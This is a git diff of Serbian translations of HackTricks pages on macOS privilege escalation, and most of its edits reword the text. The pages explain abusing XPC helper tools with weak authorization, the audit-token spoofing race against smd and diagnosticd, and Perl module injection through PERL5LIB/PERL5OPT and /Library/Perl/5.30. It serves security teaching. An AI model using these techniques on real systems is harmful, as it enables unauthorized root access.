-Zapravo, ako odete na funkciju **`0x100004000`** pronaći ćete niz struktura **`routine_descriptor`**. Prvi element strukture je **adresa** gde je **funkcija** implementirana, a **struktura zauzima 0x28 bajtova**, tako da svakih 0x28 bajtova (počevši od bajta 0) možete dobiti 8 bajtova i to će biti **adresa funkcije** koja će biti pozvana:
-
-
+Zapravo, ako odete na funkciju **`0x100004000`** pronaći ćete niz struktura **`routine_descriptor`**. Prvi element strukture je **adresa** gde je **funkcija** implementirana, a **struktura zauzima 0x28 bajta**, tako da svakih 0x28 bajta (počevši od bajta 0) možete dobiti 8 bajtova i to će biti **adresa funkcije** koja će biti pozvana:
+
+ Ovi podaci mogu biti izvađeni [**korišćenjem ovog Hopper skripta**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
@@ -386,7 +369,7 @@ Ovi podaci mogu biti izvađeni [**korišćenjem ovog Hopper skripta**](https://g Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md index 06ac88e93..53d2c1112 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md @@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -18,11 +18,11 @@ Drugi načini podrške HackTricks-u: Apple takođe predlaže još jedan način za autentifikaciju da li povezani proces ima **dozvole da pozove izloženu XPC metodu**. -Kada aplikacija treba da **izvrši akcije kao privilegovani korisnik**, umesto pokretanja aplikacije kao privilegovani korisnik, obično instalira kao root HelperTool kao XPC servis koji može biti pozvan iz aplikacije da izvrši te akcije. Međutim, aplikacija koja poziva servis treba da ima dovoljno autorizacije. +Kada aplikacija treba da **izvrši akcije kao privilegovani korisnik**, umesto pokretanja aplikacije kao privilegovani korisnik, obično instalira kao root HelperTool kao XPC servis koji može biti pozvan iz aplikacije da izvrši te akcije. Međutim, aplikacija koja poziva servis treba imati dovoljno autorizacije. ### ShouldAcceptNewConnection uvek YES -Primer se može pronaći u [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). U `App/AppDelegate.m` pokušava da se **poveže** sa **HelperTool**-om. A u `HelperTool/HelperTool.m` funkcija **`shouldAcceptNewConnection`** **neće proveriti** nijedan od prethodno navedenih zahteva. Uvek će vraćati YES: +Primer se može pronaći u [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). U `App/AppDelegate.m` pokušava da se **poveže** sa **HelperTool**-om. A u `HelperTool/HelperTool.m` funkcija **`shouldAcceptNewConnection`** **neće proveravati** nijedan od prethodno navedenih zahteva. Uvek će vraćati YES: ```objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection // Called by our XPC listener when a new connection comes in. We configure the connection @@ -184,7 +184,7 @@ block(authRightName, authRightDefault, authRightDesc); }]; } ``` -Ovo znači da će na kraju ovog procesa, dozvole deklarisane unutar `commandInfo` biti sačuvane u `/var/db/auth.db`. Primetite kako tamo možete pronaći za **svaku metodu** koja će **zahtevati autentifikaciju**, **ime dozvole** i **`kCommandKeyAuthRightDefault`**. Ovaj poslednji **ukazuje ko može dobiti ovu dozvolu**. +Ovo znači da će na kraju ovog procesa, dozvole deklarisane unutar `commandInfo` biti sačuvane u `/var/db/auth.db`. Primetite kako tamo možete pronaći za **svaku metodu** koja će **zahtevati autentikaciju**, **ime dozvole** i **`kCommandKeyAuthRightDefault`**. Ovaj poslednji **ukazuje ko može dobiti ovu dozvolu**. Postoje različiti opsezi koji ukazuju ko može pristupiti dozvoli. Neki od njih su definisani u [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (sve ih možete pronaći [ovde](https://www.dssw.co.uk/reference/authorization-rights/)), ali ukratko: @@ -268,7 +268,9 @@ Sve konfiguracije dozvola možete pronaći [ovde](https://www.dssw.co.uk/referen 3. **'session-owner': 'true'** * Ako je postavljen na `true`, vlasnik sesije (trenutno prijavljeni korisnik) automatski bi dobio ovo pravo. Ovo može zaobići dodatnu autentikaciju ako je korisnik već prijavljen. 4. **'shared': 'true'** -* Ovaj ključ ne dodeljuje prava bez autentikacije. Umesto toga, ako je postavljen na `true`, to znači da se jednom kada je pravo autentifikovano, može deliti među više procesa bez potrebe da se svaki ponovo autentifikuje. Međutim, početno dodeljivanje prava i dalje bi zahtevalo autentikaciju osim ako nije kombinovano sa drugim ključevima poput `'authenticate-user': 'false'`. +* Ovaj ključ ne dodeljuje prava bez autentikacije. Umesto toga, ako je postavljen na `true`, to znači da jednom kada je pravo autentifikovano, može se deliti među više procesa bez potrebe da se svaki ponovo autentifikuje. Međutim, početno dodeljivanje prava i dalje zahteva autentikaciju osim ako nije kombinovano sa drugim ključevima poput `'authenticate-user': 'false'`. + +Možete [koristiti ovaj skript](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) da biste dobili zanimljiva prava: ```bash Rights with 'authenticate-user': 'false': is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root) @@ -279,13 +281,13 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, Rights with 'session-owner': 'true': authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui ``` -## Reversiranje autorizacije +## Revertovanje autorizacije ### Provera da li se koristi EvenBetterAuthorization -Ako pronađete funkciju: **`[HelperTool checkAuthorization:command:]`** verovatno je da proces koristi prethodno pomenutu šemu za autorizaciju: +Ako pronađete funkciju: **`[HelperTool checkAuthorization:command:]`**, verovatno proces koristi prethodno pomenutu šemu za autorizaciju: -
+
Zatim, ako ova funkcija poziva funkcije poput `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, koristi [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154). @@ -297,7 +299,7 @@ Zatim, trebate pronaći šemu protokola kako biste mogli uspostaviti komunikacij Funkcija **`shouldAcceptNewConnection`** ukazuje na izvođenje protokola: -
+
U ovom slučaju, imamo isto kao i u EvenBetterAuthorizationSample, [**proverite ovu liniju**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). @@ -339,7 +341,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist U ovom primeru je kreirano: * Definicija protokola sa funkcijama -* Prazna autentifikacija koja se koristi za traženje pristupa +* Prazna autentifikacija za korišćenje zahteva za pristup * Povezivanje sa XPC servisom * Poziv funkcije ako je povezivanje bilo uspešno ```objectivec @@ -429,7 +431,7 @@ NSLog(@"Finished!"); Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index a8c29e022..27f156d51 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -25,7 +25,7 @@ Ako ne znate šta su Mach poruke, počnite sa proverom ove stranice: {% endcontent-ref %} Za sada zapamtite da ([definicija sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ -Mach poruke se šalju preko _mach porta_, koji je **kanal komunikacije sa jednim primaocem, više pošiljalaca** ugrađen u mach kernel. **Više procesa može slati poruke** ka mach portu, ali u svakom trenutku **samo jedan proces može čitati iz njega**. Kao i sa deskriptorima fajlova i soketima, mach portovi se dodeljuju i upravljaju od strane kernela, a procesi vide samo celobrojne vrednosti koje mogu koristiti da označe kernelu koji od njihovih mach portova žele da koriste. +Mach poruke se šalju preko _mach porta_, koji je **kanal komunikacije sa jednim primaocem, više pošiljalaca** ugrađen u mach kernel. **Više procesa može slati poruke** ka mach portu, ali u svakom trenutku **samo jedan proces može čitati iz njega**. Kao i kod deskriptora fajlova i soketa, mach portovi se dodeljuju i upravljaju od strane kernela, a procesi vide samo celobrojne vrednosti koje mogu koristiti da označe kernelu koji od njihovih mach portova žele da koriste. ## XPC Veza @@ -35,15 +35,15 @@ Ako ne znate kako se uspostavlja XPC veza, proverite: [..](../) {% endcontent-ref %} -## Sumiranje ranjivosti +## Sumarno o ranjivosti -Ono što je važno znati je da je **XPC-ova apstrakcija jedan-na-jedan veza**, ali je zasnovana na tehnologiji koja **može imati više pošiljalaca, tako da:** +Ono što je važno znati je da je **XPC-ova apstrakcija jedan-na-jedan veza**, ali se zasniva na tehnologiji koja **može imati više pošiljalaca, tako da:** * Mach portovi su jedan primaoc, **više pošiljalaca**. -* Audit token XPC veze je audit token **kopiran iz poslednje primljene poruke**. +* Audit token XPC veze je audit token **kopiran iz najskorije primljene poruke**. * Dobijanje **audit tokena** XPC veze je ključno za mnoge **bezbednosne provere**. -Iako prethodna situacija zvuči obećavajuće, postoje neki scenariji gde to neće izazvati probleme ([sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): +Iako prethodna situacija zvuči obećavajuće, postoje scenariji u kojima to neće izazvati probleme ([sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): * Audit tokeni se često koriste za proveru autorizacije kako bi se odlučilo da li prihvatiti vezu. Pošto se ovo dešava korišćenjem poruke ka servisnom portu, **veza još uvek nije uspostavljena**. Više poruka na ovom portu će biti tretirano kao dodatni zahtevi za vezu. Dakle, bilo kakve **provere pre prihvatanja veze nisu ranjive** (ovo takođe znači da je unutar `-listener:shouldAcceptNewConnection:` audit token siguran). Zato **tražimo XPC veze koje proveravaju specifične akcije**. * XPC rukovaoci događajima se obrađuju sinhrono. Ovo znači da rukovalac događajem za jednu poruku mora biti završen pre nego što se pozove za sledeću, čak i na konkurentnim redovima za raspodelu. Dakle, unutar **XPC rukovaoca događajima audit token ne može biti prepisan** od strane drugih normalnih (ne-odgovornih!) poruka. @@ -52,23 +52,23 @@ Dva različita načina na koje ovo može biti iskorišćeno: 1. Varijanta 1: * **Eksploit** se **povezuje** sa servisom **A** i servisom **B** -* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu A koju korisnik ne može -* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovodioca događajem** za vezu u **`dispatch_async`**. -* Tako da **različita** poruka može **prepisati Audit Token** jer se šalje asinhrono izvan rukovaoca događajem. +* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može** +* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovalaca događajima** za vezu u **`dispatch_async`**. +* Tako da **različita** poruka može **prepisati Audit Token** jer se šalje asinhrono izvan rukovaoca događajima. * Eksploit prosleđuje **servisu B SEND pravo ka servisu A**. * Dakle, svc **B** će zapravo **slati** **poruke** servisu **A**. -* **Eksploit** pokušava da **pozove privilegovanu akciju.** U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup pozivanju privilegovane akcije). +* **Eksploit** pokušava da **pozove privilegovanu akciju**. U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup pozivanju privilegovane akcije). 2. Varijanta 2: -* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu A koju korisnik ne može -* Eksploit se povezuje sa **servisom A** koji **šalje** eksploatatoru poruku očekujući odgovor na određenom **replay** **portu**. -* Eksploit šalje **servisu** B poruku prosleđujući **taj odgovor port**. +* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može** +* Eksploit se povezuje sa **servisom A** koji **šalje** eksploatatoru **poruku očekujući odgovor** na određenom **replay** **portu**. +* Eksploit šalje **servisu B poruku prosleđujući** taj replay port. * Kada servis **B odgovori**, **šalje poruku servisu A**, **dok** **eksploit** šalje drugu **poruku servisu A** pokušavajući **dostići privilegovanu funkcionalnost** i očekujući da će odgovor od servisa B prepisati Audit token u savršenom trenutku (Trka stanja). -## Varijanta 1: pozivanje xpc\_connection\_get\_audit\_token van rukovaoca događajem +## Varijanta 1: pozivanje xpc\_connection\_get\_audit\_token van rukovaoca događajima Scenario: -* Dva mach servisa **`A`** i **`B`** kojima možemo oboje da se povežemo (na osnovu sandbox profila i provere autorizacije pre prihvatanja veze). +* Dva mach servisa **`A`** i **`B`** sa kojima možemo oboje da se povežemo (na osnovu sandbox profila i provere autorizacije pre prihvatanja veze). * _**A**_ mora imati **proveru autorizacije** za određenu akciju koju **`B`** može proslediti (ali naša aplikacija ne može). * Na primer, ako B ima neka **ovlašćenja** ili se izvršava kao **root**, to bi mu moglo omogućiti da zatraži od A da izvrši privilegovanu akciju. * Za ovu proveru autorizacije, **`A`** asinhrono dobija audit token, na primer pozivajući `xpc_connection_get_audit_token` iz **`dispatch_async`**. @@ -84,7 +84,7 @@ Stoga, servis **B** je **`diagnosticd`** jer se izvršava kao **root** i može s Za izvođenje napada: 1. Inicirajte **vezu** sa servisom nazvanim `smd` koristeći standardni XPC protokol. -2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto kreiranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **send prava** povezanog sa vezom `smd`. +2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto stvaranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **send prava** povezanog sa vezom `smd`. 3. Kao rezultat, XPC poruke mogu biti prosleđene `diagnosticd`, ali odgovori od `diagnosticd` se preusmeravaju na `smd`. Za `smd`, izgleda kao da poruke od korisnika i `diagnosticd` potiču iz iste veze. ![Slika koja prikazuje proces eksploatacije](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) @@ -93,43 +93,43 @@ Za izvođenje napada: ## Varijanta 2: prosleđivanje odgovora -U XPC (Cross-Process Communication) okruženju, iako rukovaoci događajima ne izvršavaju se istovremeno, rukovanje odgovorima na poruke ima jedinstveno ponašanje. Konkretno, postoje dva različita metoda za slanje poruka koje očekuju odgovor: +U XPC (Cross-Process Communication) okruženju, iako rukovaoci događajima ne izvršavaju se istovremeno, rukovanje odgovorima ima jedinstveno ponašanje. Konkretno, postoje dva različita metoda za slanje poruka koje očekuju odgovor: 1. **`xpc_connection_send_message_with_reply`**: Ovde se XPC poruka prima i obrađuje na određenom redu. 2. **`xpc_connection_send_message_with_reply_sync`**: Nasuprot tome, u ovom metodu, XPC poruka se prima i obrađuje na trenutnom redu dispečovanja. -Ova razlika je ključna jer omogućava mogućnost **parsiranja odgovarajućih paketa istovremeno sa izvršavanjem rukovaoca događajima XPC**. Važno je napomenuti da, iako `_xpc_connection_set_creds` implementira zaključavanje radi zaštite od delimičnog prepisivanja audit tokena, ova zaštita se ne proširuje na ceo objekat veze. Kao rezultat, stvara se ranjivost gde audit token može biti zamenjen tokom intervala između parsiranja paketa i izvršavanja njegovog rukovaoca događajima. +Ova razlika je ključna jer omogućava mogućnost **paralelnog parsiranja odgovarajućih paketa sa izvršavanjem rukovaoca događajima XPC**. Važno je napomenuti da, iako `_xpc_connection_set_creds` implementira zaključavanje radi zaštite od delimičnog prepisivanja audit tokena, ova zaštita se ne proširuje na ceo objekat veze. Kao rezultat, stvara se ranjivost gde audit token može biti zamenjen tokom intervala između parsiranja paketa i izvršavanja njegovog rukovaoca događajima. Da bi se iskoristila ova ranjivost, potrebno je sledeće podešavanje: * Dva mach servisa, nazvana **`A`** i **`B`**, oba koja mogu uspostaviti vezu. * Servis **`A`** treba da uključi proveru autorizacije za određenu akciju koju samo **`B`** može izvršiti (aplikacija korisnika ne može). * Servis **`A`** treba da pošalje poruku koja očekuje odgovor. -* Korisnik može poslati poruku **`B`**-u na koju će odgovoriti. +* Korisnik može poslati poruku **`B`**-u na koju će on odgovoriti. -Proces iskorišćavanja uključuje sledeće korake: +Proces iskorišćavanja ove ranjivosti uključuje sledeće korake: 1. Sačekati da servis **`A`** pošalje poruku koja očekuje odgovor. -2. Umesto direktnog odgovora **`A`**, preusmeriti port za odgovor i koristiti ga za slanje poruke servisu **`B`**. -3. Zatim, poslati poruku koja uključuje zabranjenu akciju, sa očekivanjem da će biti obrađena istovremeno sa odgovorom od **`B`**. +2. Umesto direktnog odgovora **`A`**-u, preusmeriti port za odgovor i koristiti ga za slanje poruke servisu **`B`**. +3. Zatim, poslati poruku koja uključuje zabranjenu akciju, sa očekivanjem da će biti obrađena paralelno sa odgovorom od **`B`**. Ispod je vizuelna reprezentacija opisanog scenarija napada: ![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png) -
https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png
+
https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png
## Problemi sa otkrivanjem -* **Teškoće u Pronalaženju Instanci**: Pretraga instanci korišćenja `xpc_connection_get_audit_token` bila je izazovna, kako statički tako i dinamički. +* **Teškoće u Pronalaženju Instanci**: Pretraga korišćenja `xpc_connection_get_audit_token` bila je izazovna, kako statički tako i dinamički. * **Metodologija**: Frida je korišćena za hakovanje funkcije `xpc_connection_get_audit_token`, filtrirajući pozive koji ne potiču od rukovaoca događajima. Međutim, ovaj metod je bio ograničen na hakovan proces i zahtevao je aktivnu upotrebu. -* **Alati za Analizu**: Alati poput IDA/Ghidra korišćeni su za ispitivanje dostupnih mach servisa, ali je proces bio dugotrajan, otežan pozivima koji uključuju dyld deljeni keš. -* **Ograničenja Skriptovanja**: Pokušaji skriptovanja analize poziva `xpc_connection_get_audit_token` iz `dispatch_async` blokova bili su ometani složenostima u parsiranju blokova i interakcijama sa dyld deljenim kešom. +* **Alati za Analizu**: Alati poput IDA/Ghidra korišćeni su za ispitivanje dostupnih mach servisa, ali je proces bio dugotrajan, komplikovan pozivima koji uključuju dyld deljeni keš. +* **Ograničenja Skriptovanja**: Pokušaji skriptovanja analize poziva `xpc_connection_get_audit_token` iz `dispatch_async` blokova bili su ometeni složenostima u parsiranju blokova i interakcijama sa dyld deljenim kešom. ## Popravka * **Prijavljene Probleme**: Izveštaj je dostavljen Apple-u detaljno opisujući opšte i specifične probleme pronađene unutar `smd`. -* **Odgovor Apple-a**: Apple je adresirao problem u `smd` zamenivši `xpc_connection_get_audit_token` sa `xpc_dictionary_get_audit_token`. +* **Odgovor od Apple-a**: Apple je rešio problem u `smd` zamenivši `xpc_connection_get_audit_token` sa `xpc_dictionary_get_audit_token`. * **Priroda Popravke**: Funkcija `xpc_dictionary_get_audit_token` smatra se sigurnom jer direktno dobavlja audit token iz mach poruke povezane sa primljenom XPC porukom. Međutim, nije deo javnog API-ja, slično kao i `xpc_connection_get_audit_token`. -* **Odsustvo Šire Popravke**: Ostaje nejasno zašto Apple nije implementirao sveobuhvatniju popravku, poput odbacivanja poruka koje se ne podudaraju sa sačuvanim audit tokenom veze. Moguće je da je faktor mogućnost legitimnih promena audit tokena u određenim scenarijima (npr. korišćenje `setuid`). +* **Odsustvo Šire Popravke**: Nije jasno zašto Apple nije implementirao sveobuhvatniju popravku, poput odbacivanja poruka koje se ne podudaraju sa sačuvanim audit tokenom veze. Moguće je da je faktor mogućnost legitimnih promena audit tokena u određenim scenarijima (npr. korišćenje `setuid`). * **Trenutni Status**: Problem i dalje postoji u iOS 17 i macOS 14, predstavljajući izazov za one koji pokušavaju da ga identifikuju i razumeju. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index 17f65108e..3a4a06af5 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -4,9 +4,9 @@ Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Drugi načini da podržite HackTricks: +Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -48,7 +48,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod ``` ## Preko zavisnosti -Moguće je izlistati redosled foldera zavisnosti koje Perl koristi: +Moguće je izlistati redosled foldera zavisnosti Perl-a koji se izvršava: ```bash perl -e 'print join("\n", @INC)' ``` @@ -64,30 +64,16 @@ perl -e 'print join("\n", @INC)' /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` -Neke od vraćenih mapa čak ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, nije **zaštićen** od strane **SIP-a** i nalazi se **ispred** mapa **zaštićenih SIP-om**. Stoga, neko bi mogao zloupotrebiti tu mapu da dodaje zavisnosti skripta tamo kako bi visoko privilegovani Perl skript učitao te zavisnosti. +Neke od vraćenih foldera čak ne postoje, međutim, **`/Library/Perl/5.30`** **postoji**, nije **zaštićen** od strane **SIP** i nalazi se **ispred** foldera **zaštićenih SIP-om**. Stoga, neko bi mogao zloupotrebiti taj folder da dodaje zavisnosti skripti tamo kako bi visoko privilegovana Perl skripta mogla da je učita. {% hint style="warning" %} -Međutim, imajte na umu da **morate biti root da biste pisali u tu mapu** i danas ćete dobiti ovaj **TCC prozor**: +Međutim, imajte na umu da **morate biti root da biste pisali u taj folder** i danas ćete dobiti ovaj **TCC prozor**: {% endhint %} -
+
-Na primer, ako skript uvozi **`use File::Basename;`** bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` kako bi se izvršio proizvoljni kod. +Na primer, ako skripta uvozi **`use File::Basename;`** bilo bi moguće kreirati `/Library/Perl/5.30/File/Basename.pm` da bi se izvršio proizvoljni kod. ## Reference * [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk) - -
- -Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! - -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. - -
